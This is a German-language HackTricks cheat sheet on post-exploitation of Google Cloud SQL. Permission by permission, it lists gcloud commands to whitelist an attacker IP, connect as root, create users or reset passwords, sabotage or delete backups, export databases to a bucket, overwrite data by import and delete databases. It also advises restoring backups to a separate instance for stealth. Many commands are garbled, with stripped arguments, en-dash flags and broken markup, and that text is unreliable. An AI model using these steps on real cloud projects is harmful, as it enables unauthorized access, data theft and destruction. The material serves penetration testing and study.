GCP - Cloud SQL Post Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud SQL

Für weitere Informationen über Cloud SQL siehe:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Um eine Verbindung zu den Datenbanken herzustellen, benötigst du nur Zugriff auf den Datenbankport und musst den Benutzernamen und das Passwort kennen; es gibt keine IAM-Anforderungen. Eine einfache Möglichkeit, Zugriff zu erhalten, vorausgesetzt die Datenbank hat eine öffentliche IP-Adresse, ist, die erlaubten Netzwerke zu aktualisieren und deine eigene IP-Adresse zu erlauben.

Eigene IP erlauben und mit der Datenbank verbinden ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Es ist auch möglich, **`--no-backup`** zu verwenden, um die Backups der Datenbank zu **stören**.

Da dies die Anforderungen sind, bin ich mir nicht ganz sicher, wofür die Berechtigungen **`cloudsql.instances.connect`** und **`cloudsql.instances.login`** sind. Wenn du es weißt, sende einen PR!

### `cloudsql.users.list`

Erhalte eine **Liste aller Benutzer** der Datenbank:

<details>

<summary>Datenbankbenutzer auflisten</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Diese Berechtigung erlaubt es, einen neuen Benutzer in der Datenbank zu erstellen:

Datenbankbenutzer erstellen ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Diese Berechtigung erlaubt es, einen Benutzer in der Datenbank zu aktualisieren. Zum Beispiel könnten Sie dessen Passwort ändern:

Benutzerpasswort aktualisieren ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups können alte sensible Informationen enthalten, daher lohnt es sich, sie zu prüfen.
Backup in einer Datenbank wiederherstellen:

Datenbank-Backup wiederherstellen ```bash gcloud sql backups restore --restore-instance ```

Um es unauffälliger zu machen, wird empfohlen, eine neue SQL-Instanz zu erstellen und die Daten dort wiederherzustellen, anstatt in den aktuell laufenden Datenbanken.

cloudsql.backupRuns.delete

Diese Berechtigung erlaubt das Löschen von Backups:

Backup löschen ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Eine Datenbank exportieren in einen Cloud Storage Bucket, damit du von dort darauf zugreifen kannst:

Datenbank in Bucket exportieren ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Datenbank importieren (überschreiben) aus einem Cloud Storage Bucket:

Datenbank aus einem Bucket importieren ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Eine Datenbank aus der DB-Instanz löschen:

Datenbank löschen ```bash gcloud sql databases delete --instance ```

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks